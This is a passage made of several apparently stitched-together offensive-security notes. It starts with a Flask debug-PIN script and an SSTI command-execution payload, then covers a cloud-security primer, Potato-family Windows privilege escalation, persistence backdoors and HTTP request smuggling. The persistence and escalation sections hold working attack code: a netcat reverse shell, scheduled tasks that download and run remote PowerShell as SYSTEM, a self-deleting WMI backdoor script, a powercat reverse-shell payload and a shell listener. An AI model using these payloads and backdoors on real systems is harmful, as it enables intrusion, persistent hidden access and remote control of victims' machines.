if num is None: h.update(b'pinalt') num=('%09d' % int(h.hexdigest(), 16))[:9] rv=None if rv is None: for group_size in 5, 4, 3: if len(num) % group_size==0: rv='-'.join(num[x:x + group_size].rjust(group_size, '0') for x in range(0, len(num), group_size)) break else: rv=num print(rv) 脚本中 6 个参数的获取方法: username User running flask, read /etc/passwd before getting modname Generally default app name Generally default 路径 debug error 网络地址 Read: /sys/class/net/eth0/address 1 int('02:42:ac:13:00:02'.replace(':', ''), 16) 机器码 Read: /etc/machine-id or /proc/self/cgroup 执行脚本 SSTI 导致 RCE 代码执行 1 2 3 {%for i in range(10)%} {%print(i)%} {%endfor%} python 魔法函数 + 内置函数 魔法函数 The so-called magic methods are a high-level syntax of Python, which allows you to customize functions in a class (the format of function names is generally __x__) and bind them to special methods of the class. For example, if you customize the __str__ function in class A, the __str__ function will be automatically called when str(A) is called and the corresponding result will be returned. In our daily use, we may often use the __init__ function and the __del__ function, which is actually a kind of magic function. 内置函数 Enter help(__builtins__) in python to view the help. Simply put, it is a function that comes with Python. 1 http://127.0.0.1:8345/hello?name=\{\{%22%22.__class__.__base__.__subclasses__()[302].__init__.__globals__[%27os%27].popen(%22whoami%22).read()\}\}
-
Title: Public Cloud Security
公有云安全 1 前言 Tips Cloud tenant security is not within the scope of discussion Cloud-native application vulnerabilities are slightly involved Microservices are not covered by the discussion Cloud security configuration errors and incorrect "case" demonstrations are important reasons for frequent security problems 1.1 为什么要上云 The traditional border of security is blurred all in cloud More and more companies 1.2 相关资料 https://aws.amazon.com/n/training/ https://edu.aliyun.com https://cloud.tencent.com/edu/training https://cloud.google.com/certification/ https://www.microsoft.com/zh-cn/learning/azure-training.aspx 1.3 常见的云产品 2 常见概念 2.1 元数据 - metadata In cloud computing, Metadata is not an unfamiliar concept. Literally, Metadata means metadata. In cloud computing, the Metadata service can inject some additional information into the virtual machine, so that the virtual machine can have some customized configuration after it is created. In OpenStack, the Metadata service can provide virtual machines with hostname, ssh public key, some customized data passed in by users, and other information. These data are divided into two categories: metadata and user data. metadata mainly includes some data of the virtual machine itself, such as hostname, ssh key, network configuration, etc. while user data mainly includes some customized scripts, commands, etc. But no matter which data it is, the way openstack provides data to the virtual machine is consistent. Tips Can be compareddocker file 2.2 可用区 - Available Zone 和区域 - Region Let’s first look at the concept of Region. AWS cloud services have data centers in different places around the world, such as North America, South America, Europe and Asia. Correspondingly, based on geographical location, we call the collection of infrastructure services in a certain area a region. Through AWS regions, on the one hand, AWS cloud services can be geographically closer to our users, and on the other hand, users can choose different regions to store their data to meet regulatory compliance requirements Take Alibaba Cloud as an example: 2.3 IAM - Identify and Access Management helps you securely control user access to AWS resources. IAM allows you to control who can use your AWS resources (authentication) and the resources they can use and how they adopt (authorization). IAM-AWS RAM-Ali Cloud CAM-Tencent Cloud IAM-Huawei Cloud 2.3.1 用户 If you purchased multiple cloud server ECS instances and have multiple users in your organization (such as employees, systems, or applications) that need to use these instances, you can create a policy that allows some users to use these instances. Avoid the risk of leaking the same AccessKey to multiple people. 2.3.2 用户组 You can create multiple user groups and grant different permission policies to achieve batch management effect. For example: To enhance network security controls, you can authorize a user group a permission policy that specifies that if the user's IP address is not from the enterprise network, such users are denied requests to access the relevant ECS resources. You can create two user groups that manage people with different job responsibilities, and if a developer's job responsibilities change to become a system administrator, you can move them from the Developers user group to the SysAdmins user group. SysAdmins: This user group requires permissions to create and manage. You can grant the SysAdmins group a permission policy that grants user group members permission to perform all ECS operations, including ECS instances, mirrors, snapshots, and security groups. Developers: This user group requires permissions to use the instance. You can grant the Developers group a permission policy that grants user group members permissions to call DescribeInstances, StartInstance, StopInstance, RunInstance, and DeleteInstance. 2.3.3 角色 Instance RAM role allows you to associate a role to an ECS instance, accessing the API of other cloud products based on STS (Security Token Service) temporary credentials within the instance, and the temporary credentials will be periodically updated. That is, it can ensure the security of cloud account AccessKey, and it can also achieve refined control and permission management with the help of access control RAM. 2.4 VPC - Virtual Private Cloud Proprietary Network VPC allows users to build a logically isolated partition on the cloud, allowing users to create and run new network resources in a virtual network they define. Users have full control over your virtual network environment, including selecting IP address ranges, creating subnets, and configuring routing tables. 2.5 ARN - Aliyun Resource Name The format of the resource ARN is : arn:acs:${Service}:${Region}:${Account}:${ResourceType}/${ResourceId} The meanings of each field are as follows: Service: Cloud product code. Region: Region ID. Account: Alibaba Cloud Account ID. ResourceType: Resource type. ResourceId: Resource ID. arn:acs:ecs:cn-hangzhou:123456789\*\*\*\*\*:instance/i-
-
Title: Analysis of Potato Family Rights Upgrade
Potato 家族提权分析 1 前言 1.1 windows 服务的登录用户 Local System - NT AUTHORITY\SYSTEM Network Service - NT AUTHORITY\Network Service Local Service - NT AUTHORITY\Local Service The service account itself has high permissions in the Windows permission model. During the actual penetration process, when you get the webshell, the user permissions are IIS or apache, or xp_cmdshell is executed through SQLi. At this time, the service account in your hand is a low permission account when performing operations, and using this privilege escalation method, you can directly obtain SYSTEM permissions. 1.2 前提 The premise of raising rights with Potato (except Hot Potato) is that you haveSeImpersonatePrivilegeorSeAssignPrimaryTokenPrivilegepermissions, and the following users haveSeImpersonatePrivilegepermissions (and only accounts with higher privileges such as SYSTEM have SeAssignPrimaryTokenPrivilege permissions): Local administrator account (excluding the administrator group normal account) and local service account Services initiated by SCM PS: During native testing, even if SeImpersonatePrivilege privilege is granted to the administrator group ordinary user in the local policy, whoami /priv does not display the privilege in cmd.exe and cannot be utilized; while SeAssignPrimaryTokenPrivilege privilege can be granted to the ordinary user normally 1.3 Windows Token Windows token is an object that describes the security context. After the user logs in, the system will generate a token. This token will be copied continuously when creating a new process or a new thread. When the user hasSeImpersonatePrivilegeprivileges, he can callCreateProcessWithTokenWto start a new process with the permissions of a certain token When the user hasSeAssignPrimaryTokenPrivilegeprivileges, he can callCreateProcessAsUserWto start a new process with Token permissions For details, please refer to the article "Windows Access Token Attack". 2 Hot Potato 2.1 简介 In January 2016, Dominic White published an article publishing a permissions-elevating attack based on NTLM reflection, named Hot Potato. You can upgrade from the host's minimum user permission to the system's highest NT\AUTHORITY SYSTEM permission. Hot Potato uses the famous NTLM Relay attack (HTTP - SMB) and NBNS spoofing attacks to obtain the highest permissions SYSTEM on Windows systems. You can upgrade from the host's minimum user permission to the system's highest NT\AUTHORITY SYSTEM permission. 2.2 NBNS 2.2.1 概念 NBNS (Net BIOS Name Service) is a UDP broadcast service that is widely used in Windows systems, that is, a named query service. This service is implemented using the UDP protocol, and local name resolution can be achieved by sending broadcasts within the LAN. Similar to DNS in the TCP/IP protocol, it is responsible for finding the corresponding IP address of the target machine and giving a NetBIOS name. Microsoft WINS service adopts the NBNS protocol. 2.2.2 NBNS 欺骗 The logic of the system to perform a name query is as follows: First query the local hosts file DNS Lookup query (local DNS cache, then request it from the DNS server) NBNS Query The logic of NBNS is to broadcast a message to all local hosts, who is xxx, and if anyone responds to the broadcast message, who is xxx During intranet penetration testing, attackers often listen to NBNS broadcast messages and answer that they are xxx, which is NBNS spoofing; ARP spoofing is the MAC layer spoofing method The NBNS package has 1 2-byte TXID field and must match the request\response. Because it is a privilege escalation vulnerability, there is no permission to listen to traffic before the attack. Flood guessing can be done between 1-65535. If there are DNS records in the network, the NBNS protocol will not be used at this time; all DNS queries can be failed through attack technology that exhausts UDP ports, so the NBNS protocol must be used 2.3 WPAD 代理 In Windows system, the IE browser will automatically detect the IE agent configuration information, which is accessed, http://wpad/wpad.dat#8221 WPAD does not necessarily exist in the network, because even with a DNS server, there is no need to parse WPAD unless the network wants to automatically configure proxy information in the network through configuration scripts, which is very convenient. Therefore, when hosts and DNS queries cannot obtain WPAD, the system must use NBNS to query the name. At this time, you can use NBNS to spoof yourself and tell yourself that WPAD can construct an HTTP server and respond to HTTP http://wpad/wpad.dat#8221 query By building HTTP on 127.0.0.1, all traffic querying WPAD is directed to local 127.0.0.1; even if the NBNS spoofing WPAD issued by low-privileged users, the high-privileged process will be affected, and WPAD is believed to be the result of the spoofing. Includes the local administrator process and the SYSTEM process. 2.4 HTTP - SMB NTLM Relay NTLM authentication has poor defense capabilities for man-in-the-middle attacks. Previously, the playback attacks against NTLM focused on the SMB-SMB protocol, reflecting attacks on visitors' hosts and obtaining remote execution permissions; Microsoft blocks the replay reflection attack of the SMB-SMB protocol through patches, but HTTP-SMB cross-protocol attacks are still valid 2.5 攻击流程 Hot Potato attack combines these points to achieve permission enhancement: NBNS Scam Construct local HTTP and respond to WPAD HTTP - SMB NTLM Relay Waiting for access by high-privileged processes, that is, activate the update service (low-privileges can be activated) https://github.com/Kevin-Robertson/Tater 1 2 Import-Module .\Tater.ps1 Invoke-Tater -Command 'command to execute' Tool address: https://github.com/foxglovesec/Potato Win7 utilization - Windows Defender update mechanism 1 Potato.exe -ip -cmd [cmd to run] -disable_exhaust true Win Server 2008 Utilization - Windows Update Mechanism 1 Potato.exe -ip -cmd [cmd to run] -disable_exhaust true -disable_defender true -spoof_host WPAD.EMC.LOCAL Win Server 2012 R2 - Automatic update mechanism, this opportunity downloads the certificate trust list (CTL) every day 1 Potato.exe -ip -cmd [cmd to run] -disable_exhaust true -disable_defender true Protection: SMB signature 3 Rotten Potato JuicyPotato 3.1 原理 These two are different from the initial Potato, which use DCOM CALL to make the service initiate a connection to the port that the attacker listens to and perform NTLM authentication. Rotten Potato and Juicy Potato have almost the same principles, the latter being perfected on the former. A few knowledge to understand: When using DCOM, if you connect remotely as a service, the permission is System, such as BITS service Using DCOM, you can connect to a port of the machine through TCP to initiate NTLM authentication, which can be replayed LocalService users have SeImpersonate and SeAssignPrimaryToken permissions by default After enabling SeImpersonate permission, you can pass in a new token to create a new process when calling CreateProcessWithToken. After enabling SeAssignPrimaryToken permission, you can pass in a new token to create a new process when calling CreateProcessAsUser 3.2 实现流程 Load COM, issue a request, permission is System Attempt to load a COM object at the location specified for the ip and port The COM object used by RottenPotatoNG is BITS and the CLSID is {4991d34b-80a1-4291-83b6-3328366b9097} The COM objects to choose are not unique. Juicy Potato provides multiple. For detailed lists, please refer to the following address: https://github.com/ohpe/juicy-potato/blob/master/CLSID/README.md Respond to the request in step 1 and initiate NTLM authentication Under normal circumstances, due to insufficient permissions, the current permission is not System, and the authentication cannot be successful. For local ports, NTLM authentication is also initiated, with permissions being the current user Since the permission is the current user, NTLM authentication can be successfully completed information Port 135 used by RottenPotatoNG Juicy Potato supports specifying any local port, but RPC generally defaults to port 135 and is rarely modified. Intercept two NTLM-authenticated data packets, replace the data, and replay through NTLM to enable the NTLM authentication of step 1 (the permission is System) to obtain the System permission to the Token When replaying, you need to pay attention to the different NTLM Server Challenge certified by NTLM and needs to be corrected. Create a new process with System permissions tokens If SeImpersonate permission is enabled, call CreateProcessWithToken, pass in the token with System permissions, and the created process is System permissions or If SeAssignPrimaryToken permission is enabled, call CreateProcessAsUser, pass in the token with System permissions, and the created process is System permissions 3.2 实战 Tool address: https://github.com/ohpe/juicy-potato 3.2.1 initial access A webshell with iis apppool\defaultapppool permissions. 3.2.2 根据操作系统选择可用的 CLSID Reference List https://github.com/ohpe/juicy-potato/blob/master/CLSID/README.md For example, test system Server2012, select CLSID as {8BC3F05E-D86B-11D0-A075-00C04FB68820} Verify one by one using batch call juicypotato.exe: The address is as follows: https://github.com/ohpe/juicy-potato/blob/master/Test/test_clsid.bat bat script does not need to be modified 3.2.3 提权 Upload CS horse, or bounce back an interactive shell: Use JuicePotato to execute commands or C2 programs 4 PrintSpoofer (PipePotato or BadPotato) 4.1 原理 Simulate the token of a high-privileged client through an API: ImpersonateNamedPipeClient of Windows named pipe (and similar ImpersonatedLoggedOnUser, RpcImpersonateClient function). Calling this function will change the security context of the current thread. It utilizes the bugs checked by the printer component path, allowing the SYSTEM permission service to connect to the named pipe created by the attacker. The spoolsv.exe service has an open RPC service with the following functions: 1 2 3 4 5 6 7 DWORD RpcRemoteFindFirstPrinterChangeNotificationEx( /* [in] */PRINTER_HANDLE hPrinter, /* [in] */DWORD fdwFlags, /* [in] */DWORD fdwOptions, /* [unique][string][in] */wchar_t *pszLocalMachine, /* [in] */DWORD dwPrinterLocal, /* [unique][in] */RPC_V2_NOTIFY_OPTIONS *pOptions) The pszLocalMachine parameter needs to be passed UNC path. When passing \\127.0.0.1, the server will access \\127.0.0.1\pipe\spoolss, but this pipeline has been registered by the system. If we pass \\127.0.0.1\pipe, an error will be reported due to path checking. However, when passing \\127.0.0.1/pipe/foo, when checking the path, it will consider 127.0.0.1/pipe/foo as the host name. Then when connecting named pipe, the parameters will be standardized, and/is converted into \, so \\127.0.0.1\pipe\foo\pipe\spoolss will be connected, and the attacker can register this named pipe to steal the client's token. This POC starts a new process using CreateProcessAsUser instead of CreateProcessWithToken. 4.2 实战 Tool address: https://github.com/itm4n/PrintSpoofer 4.2.1 派生一个 SYSTEM 交互式 shell Applicable to the state where it is currently an interactive shell: 1 2 3 4 5 6 7 8 9 C:\TOOLSPrintSpoofer.exe -i -c cmd [+] Found privilege: SeImpersonatePrivilege [+] Named pipe listening. [+] CreateProcessAsUser() OK Microsoft Windows [Version 10.0.19613.1000] (c) 2020 Microsoft Corporation. All rights reserved. C:\WINDOWS\system32whoami nt authority\system 4.2.2 派生一个 SYSTEM 的进程 is suitable for non-interactive shells, but can be executed by commands, using CS to launch or nc to rebound high permission shells: 1 2 3 4 C:\TOOLSPrintSpoofer.exe -c 'C:\TOOLS\nc.exe 10.10.13.37 1337 -e cmd' [+] Found privilege: SeImpersonatePrivilege [+] Named pipe listening. [+] CreateProcessAsUser() OK 4.2.3 桌面环境下派生 SYSTEM 进程 Under local login or RDP, first use qwinsta to view the current ID number, and then use POC: 1 2 3 4 C:\TOOLSPrintSpoofer.exe -d 3 -c 'powershell -ep bypass' [+] Found privilege: SeImpersonatePrivilege [+] Named pipe listening. [+] CreateProcessAsUser() OK 5 RoguePotato 5.1 原理 This also uses the named pipe After Microsoft patches, the higher version of Windows DCOM parser does not allow the DUALSTRINGARRAY field in OBJREF to specify the port number. To bypass this limitation and be able to negotiate local tokens, the author forwarded traffic on port 135 on a remote host, turned it back to the victim's native port, and wrote a malicious RPC OXID parser. 5.2 实战 Tool address: https://github.com/antonioCoco/RoguePotato 1 2 3 4 5 6 7 8 9 10 Mandatory args: -r remote_ip: ip of the remote machine to use as redirector -e commandline: commandline of the program to launch Optional args: -l listening_port: This will run the RogueOxidResolver locally on the specified port -c {clsid}: CLSID (default BITS:{4991d34b-80a1-4291-83b6-3328366b9097}) -p pipename_placeholder: placeholder to be used in the pipe name creation (default: RoguePotato) -z : this flag will randomize the pipename_placeholder (don't use with -p) 6 SweetPotato 6.1 原理 The collection version of COM/WinRM/Spoolsv, that is, the collection version of Juicy/PrintSpoofer 6.2 实战 Tool address: https://github.com/CCob/SweetPotato refer to: https://foxglovesecurity.com/2016/01/16/hot-potato/ https://foxglovesecurity.com/2016/09/26/rotten-potato-privilege-escalation-from-service-accounts-to-system/ https://xz.aliyun.com/t/7776/#toc-4 https://3gstudent.github.io/3gstudent.github.io/Windows local authority elevation tool Juicy-Potato test analysis/ https://itm4n.github.io/printspoofer-abusing-impersonate-privileges/ https://decoder.cloud/2020/05/11/no-more-juicypotato-old-story-welcome-rogue
-
Title: Permission Maintenance
权限维持 1 操作系统后门 1.1 粘滞键后门 1.1.1 传统方法 Under windows/system32, directly replace the sethc program with cmd.exe If the target machine is above Windows Vista, that is, the system that comes out later on Windows Vista, modifying sethc will prompt that trustedinstaller permission is required. trustedinstaller is a security mechanism, that is, the highest permissions of the system, which are higher than the administrator administrator. Windows permissions are divided into three types from low to high, namely user, administrator, and system. Trustedinstaller is higher than administrator but not higher than system. The advantage of doing this is that it avoids the possibility of some malware modifying system files. The disadvantage is that it cannot operate directly by itself, so to modify sethc first, you need to change its owner to our current administrator user. Before the owner, the permissions for editing directly are gray and cannot be modified. After having ownership, you can edit their permissions. You need to give yourself permissions, as shown in the figure below: At this time, you can rename it or delete it directly, then copy cmd and modify sethc. Then, when there is no password on the lock screen, you can directly press shift to call up cmd and perform operations such as adding new users, as shown in the figure below: 1.1.2 新方法 The new method to set sticky key backdoor is implemented through the registry. The overall method idea is to implement it by modifying the registry's image hijacking and opening its remote desktop. 1 REG ADD 'HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe' /v Debugger /t REG_SZ /d 'C:\windows\system32\cmd.exe' 命令说明: reg adds records to the registry, followed by the location of the registry. It should be noted here that HKLM is actually the abbreviation of HKEY_LOCAL_MACHINE. Image File Execution Option This directory is used to set up image hijacking. What to be hijacked is the sethc sticky key program in the command, and then the key name is specified through /v. This key name debugger is fixed, and then the type is specified through /t, that is, the REG_SZ string type, and finally the key value is specified through /d, that is, the program that was maliciously replaced, that is, our cmd. After setting up the mirror hijacking, we have the effect of directly replacing the sethc program in our old method. However, for the convenience of using, we can enable the remote desktop of the target machine. Here we also set it through the registry, and we need to set two parameters. 1.1.2.1 关闭 RDP 用户鉴定选项 The first is to set the user authentication option of the remote desktop link to the off state, that is, the value is 0, and run the following command on the command line: 1 REG ADD 'HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp' /v UserAuthentication /t REG_DWORD /d 0 User authentication means userauthentication function: 0 indicates whether user authentication is not required before remote desktop, or the default value is whether 1 indicates that user authentication is required before remote desktop. To better understand, let's take a look at their differences. Here is when userauthentication is 1: When userauthentication is 1, user authentication is performed in front of the remote desktop. At this time, after entering the remote link, you will be required to enter the user name and password. If you enter the user name without entering the password, you will directly click on the connection and prompt for an authentication error. When userauthentication is 0, authentication will not be performed before connection. At this time, if you enter the username and do not enter the password, the connection will go directly to the lock screen of the remote desktop. So set to 0 we can go directly to the target's lock screen and then turn on cmd. Note: The default is 0 on Windows Server 2012 1.1.2.2 更改 RDP 安全层设置 The second is to set the security layer of the remote desktop connection to 0, and run the following command on the command line: 1 REG ADD 'HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp' /v SecurityLayer /t REG_DWORD /d 0 0 means using the RDP protocol for authentication before connection. RDP is a remote desktop connection, which can be simply understood as closing verification. 1 refers to the negotiation between the two ends of the connection to perform authentication, which is the default value. 2 is to use the tls protocol. Let’s take a look at the difference between 0 and 1: When the userauthentication user authentication is 0, when the security layer of security layer is 1, click Connect and enter the user name and then click Connect to the target desktop. When the security layer is changed to 0, click Connect and it will directly go to the user's lock screen desktop, eliminating the step of entering credentials. So we set it to 0 and you can jump directly to the lock screen desktop to adjust cmd. Note: The default is 1 on Windows Server 2012 1.1.3 测试结果 After testing, the msf session was immediately disconnected when the RDP connection was disconnected on win10, and was successful on windows server 2008. 1.2 注册表后门 Run: The key value under this item is the startup item Location: 1 \HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run Commands under msf: 1 use exploit/windows/local/persistence 1.3 计划任务后门 schtasks /Create Creates a new task. /Delete Delete scheduled tasks. /Query Displays all scheduled tasks. /Change Changes scheduled task properties. /Run Run scheduled tasks as needed. /End Aborts the currently running scheduled task. /ShowSid Displays the security identifier corresponding to the scheduled task name. 1 2 3 4 5 6 7 8 9 10 11 12 13 # schtasks command # 03:30 timed execution every night schtasks /create /tn 'TimedTask1' /tr C:\Users\Administrator\Desktop\TimedTask\Run.bat /sc DAILY /st 03:30 # statement A # Query the created tasks schtasks /query /tn TimedTask1 /v # Run the created task immediately schtasks /run /tn TimedTask1 # Delete the task schtasks /delete /tn TimedTask1 1 2 3 4 5 6 7 8 9 10 11 12 13 14 #(X64) - On System Start schtasks /create /tn PentestLab /tr 'c:\windows\syswow64\WindowsPowerShell\v1.0\powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring(''http://10.0.2.21:8080/ZPWLywg'''))'' /sc onstart /ru System #(X64) - On User Idle (30mins) schtasks /create /tn PentestLab /tr 'c:\windows\syswow64\WindowsPowerShell\v1.0\powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring(''http://10.0.2.21:8080/ZPWLywg'''))'' /sc onidle /i 30 #(X86) - On User Login schtasks /create /tn PentestLab /tr 'c:\windows\system32\WindowsPowerShell\v1.0\powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring(''http://10.0.2.21:8080/ZPWLywg'''))'' /sc onlogon /ru System #(X86) - On System Start schtasks /create /tn PentestLab /tr 'c:\windows\system32\WindowsPowerShell\v1.0\powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring(''http://10.0.2.21:8080/ZPWLywg'''))'' /sc onstart /ru System #(X86) - On User Idle (30mins) schtasks /create /tn PentestLab /tr 'c:\windows\system32\WindowsPowerShell\v1.0\powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring(''http://10.0.2.21:8080/ZPWLywg'''))'' /sc onidle /i 30 1.4 wmi 无文件后门 evil3.vbs - Malicious VBS script. Create an event filter to capture the event where the account is successfully logged in; create an active script event consumer, and execute the remote script pnc.js after capturing the event; bind the filter and the consumer. 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 twenty one twenty two twenty three twenty four 25 26 27 28 29 30 nslink='winmgmts:\\.\root\subscription:' qstr='select * from __InstanceCreationEvent within 5 ' 'Query "Instance Creation Event" every 5 seconds' qstr=qstr'where targetinstance isa 'win32_NTLogEvent' and ' qstr=qstr'targetinstance.EventCode='4624' ' 'The instance name is win32_NTLogEvent' set evtflt=getobject(nslink'__EventFilter').spawninstance_ 'Create event filter' evtflt.name='filtP1' 'Define the name of the filter' evtflt.EventNameSpace='root\cimv2' evtflt.query=qstr 'Define query statement' evtflt.querylanguage='wql' 'Define query language (can only be wql)' set fltpath=evtflt.put_ 'Register filter, return its link' set asec=getobject(nslink'ActiveScriptEventConsumer').spawninstance_ 'Create "ActiveScript Event Consumer"' asec.name='consP1' 'Define the name of the consumer' asec.scriptingengine='JScript' 'Define scripting language asec.ScriptText='GetObject(''script:http://192.168.41.1:8080/pnc.js'')' set asecpath=asec.put_ 'Register consumer, return their link' set fcbnd=getobject(nslink'__FilterToConsumerBinding').spawninstance_ 'Create a binding between filter and consumer' fcbnd.filter=fltpath.path 'Specify filter' fcbnd.consumer=asecpath.path 'Specify Consumer' fcbnd.put_ 'Execute binding' dim fso set fso=CreateObject('Scripting.FileSystemObject') evilname=left(wscript.scriptfullname,instrrev(wscript.scriptfullname,'\')) evilname=evilname fso.GetFile(Wscript.scriptfullname).name fso.DeleteFile(evilname) 'vbs delete itself pnc.js - Server-side malicious script. Download powercat.ps1 and use it to return the shell. 1 2 3 4 5 6 7 8 9 10 11 12 13 ?xml version='1.0'? package component id='testCalc' script language='JScript' var r=new ActiveXObject('WScript.Shell').Run('powershell IEX (New-Object System.Net.Webclient).DownloadString('http://192.168.41.1:8080/powercat-master/powercat.ps1');powercat -c 192.168.41.1 -p 6999 -e cmd'); /script /component /package shell_server.py - Server-side script to listen to shell. 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 twenty one twenty two twenty three twenty four 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 import socket import re pattern=re.compile(r'[A-Z]:\\.*?') def recv_end(the_socket): total_data=[] data=b'' while True: data=the_socket.recv(1024) #print(data) if not data: raise ConnectionAbortedError data=str(data, encoding='gbk') total_data.append(data) if pattern.search(data, re.M): break if len(total_data) 1: last_pair=total_data[-2] + total_data[-1] if pattern.search(last_pair, re.M): break return ''.join(total_data) # Create a server server=socket.socket(socket.AF_INET, socket.SOCK_STREAM) port=6999 server.bind(('192.168.41.1', port)) #Bind the port to be listened to server.listen(5) #Start listening means that you can queue with five links while True:# conn is a link instance generated on the server by linking the client over and print('------------Listening on {}------------'.format(port)) conn, addr=server.accept() #Waiting for links, problems will arise when multiple links are found, and actually two values are returned print(conn) while True: try: se=input(recv_end(conn)) if not se: se='\r\n' #print(bytes(se, encoding='utf8')) conn.send(bytes(se, encoding='utf-8')) # Then send the data except BaseException as e: print('\n' + addr[0] + ':' + str(addr[1]) + 'Close') break conn.close() # Close the connection powercat.ps1 - powershell version netcat. (https://github.com/besimorhino/powercat) clean.ps1 - Clear filters, consumers, and binders created by evil3.vbs. 1 2 3 4 5 6 7 8 #Filter Get-WMIObject -Namespace root\Subscription -Class __EventFilter -Filter 'Name='filtP1'' | Remove-WmiObject -Verbose #Consumer Get-WMIObject -Namespace root\Subscription -Class CommandLineEventConsumer -Filter 'Name='consP1'' | Remove-WmiObject -Verbose #Binding Get-WMIObject -Namespace root\Subscription -Class __FilterToConsumerBinding -Filter '__Path LIKE '%filtP1%'' | Remove-WmiObject -Verbose 2 域控后门 2.1 DSRM 后门 DSRM (Directory Services Restore Mode) is a safe mode startup option for domain controllers in a Windows domain environment. Each domain controller has a本地管理员account (that is, a DSRM account). The purpose of DSRM is : The purpose of this is : The administrator allows the active directory database to be restored, repaired, and rebuilt the active directory database when the domain environment fails or crashes, so that the domain environment can run normally. In the early stages of domain environment creation, the password of DSRM needs to be set when DC is installed and rarely reset. The most basic way to modify the DSRM password is to run the ntdsutil line command on DC. In penetration testing, you can use a DSRM account to persist the domain environment. If the system version of the domain controller is Windows Server 2008, you need to install the KB96132 patch to synchronize the DSRM password using the password of the specified domain account.
-
Title: HTTP request smuggling
HTTP 请求走私 1 前言 1.1 Keep-Alive In the protocol design before HTTP 1.0, every time the client makes an HTTP request, it needs to establish a TCP link with the server. Modern web website pages are composed of multiple resources. If we want to obtain the content of a web page, we not only need to request HTML documents, but also various resources such as JS, CSS, and pictures. If we design according to the previous protocol, it will increase the load overhead of the HTTP server. Therefore, in HTTP 1.1, the two features of Keep-Alive and Pipeline were added. What is Keep-Alive? It is to add a special request header Connection: Keep-Alive to the HTTP request, telling the server that after receiving this HTTP request, do not close the TCP link. Then face the HTTP request of the same target server and reuse this TCP link. This only requires a TCP handshake process, which can reduce server overhead, save resources, and speed up access. Of course, this feature is enabled by default in HTTP 1.1. 1.2 Pipeline With Keep-Alive, Pipeline is subsequently available. Here, the client can send its own HTTP request like a pipeline, without waiting for the server to respond. After receiving the request, the server needs to follow the first-in-first-out mechanism, strictly correspond to the request and the response, and then send the response to the client. Now, the browser does not enable Pipeline by default, but ordinary servers provide support for Pipeline. 1.3 原理 The TCP link will be reused between the reverse proxy server and the backend source server, because the IP addresses of the proxy server and the backend source server are relatively fixed, and different users' requests are established to establish a link with the source server through the proxy server, so it is natural. However, due to the different implementation methods of the two servers, if the user submits a vague request, the proxy server may think that this is an HTTP request and forward it to the backend source server. However, after parsing and processing, the source server only believes that part of it is a normal request, and the remaining part is a smuggled request. This is the origin of the HTTP smuggled request. The reason for the HTTP request smuggling vulnerability is that the HTTP specification provides two different ways to specify the end position of the request, which are the Content-Length header and the Transfer-Encoding header, which is simple and straightforward, and specifies the length of the message content body in bytes. The Transfer-Encoding header is used to specify that the message body is used to use Chunked Encode, that is, the message message consists of one or more data blocks, each data block size is measured in bytes (hexadecimal representation), followed by a newline character, and then the block content. The most important thing is: the entire message body ends with a block of size 0, which means that the parsing ends with 0 data blocks. like: 1 2 3 4 5 6 7 8 9 POST/HTTP/1.1 Host: ac6f1ff11e5c7d4e806912d000080058.web-security-academy.net Content-Type: application/x-www-form-urlencoded Transfer-Encoding: chunked b a=11 0 In fact, it is really simple to understand. It is equivalent to sending a request, including Content-Length. The front-end server has no problems after parsing it. However, I also include Transfer-Encoding when requesting it, so that the back-end server can execute some commands I wrote below, so that the front-end server can bypass the waf. 2 实例 2.1 CL 不为 0 的 GET 请求 Assuming that the front-end proxy server allows GET requests to carry request bodies, while the back-end server does not allow GET requests to carry request bodies, it will directly ignore the Content-Length header in the GET request and do not process it. This may lead to request smuggling. For example, we construct the request: 1 2 3 4 5 6 7 GET/HTTP/1.1\r\n Host: example.com\r\n Content-Length: 44\r\n GET/secret HTTP/1.1\r\n Host: example.com\r\n \r\n The front-end server receives the request and reads Content-Length, determines that this is a complete request, and then forwards it to the back-end server. After the back-end server receives it, it does not process Content-Length. Due to the existence of Pipeline, it considers that it has received two requests, namely 1 2 3 4 5 6 7 # First GET/HTTP/1.1\r\n Host: example.com\r\n # The second one GET /secret HTTP/1.1\r\n Host: example.com\r\n 2.2 CL-CL In Article 4 of Section 3.3.3 of RFC7230, it is stipulated that when the request received by the server contains two Content-Lengths, and the values of the two are different, an error of 400 is required. However, there are always servers that will not strictly implement this specification. Assuming that the intermediate proxy server and the backend source server will not return a 400 error when receiving similar requests, the intermediate proxy server processes the request according to the value of the first Content-Length, while the backend source server processes the request according to the value of the second Content-Length. At this time, the malicious attacker can construct a special request: 1 2 3 4 5 6 7 POST/HTTP/1.1\r\n Host: example.com\r\n Content-Length: 8\r\n Content-Length: 7\r\n 12345\r\n a The length of the packet obtained by the intermediate proxy server is 8, and the entire packet above is forwarded to the backend source server intact, while the length of the packet obtained by the backend server is 7. After reading the first 7 characters, the backend server believes that it has been read, and then generates the corresponding response and sends it out. At this time, there is still a letter a left in the buffer. For the backend server, this a is part of the next request, but has not been transferred yet. At this time, another normal user happened to request the server, assuming the request is shown in the figure: 1 2 GET /index.html HTTP/1.1\r\n Host: example.com\r\n We also know from the previous example that TCP connections are generally reused between the proxy server and the source server. At this time, the request of the normal user is spliced behind the letter a. When the backend server receives it, the request it actually processes is: 1 2 aGET /index.html HTTP/1.1\r\n Host: example.com\r\n At this time, the user will receive an error similar to aGET request method not found. This implements an HTTP smuggling attack, which also affects the behavior of normal users, and can be extended to an attack method similar to CSRF. However, the two Content-Length request packets are still too ideal, and ordinary servers will not accept such request packets with two request headers. However, in Section 4.4 of RFC2616, it 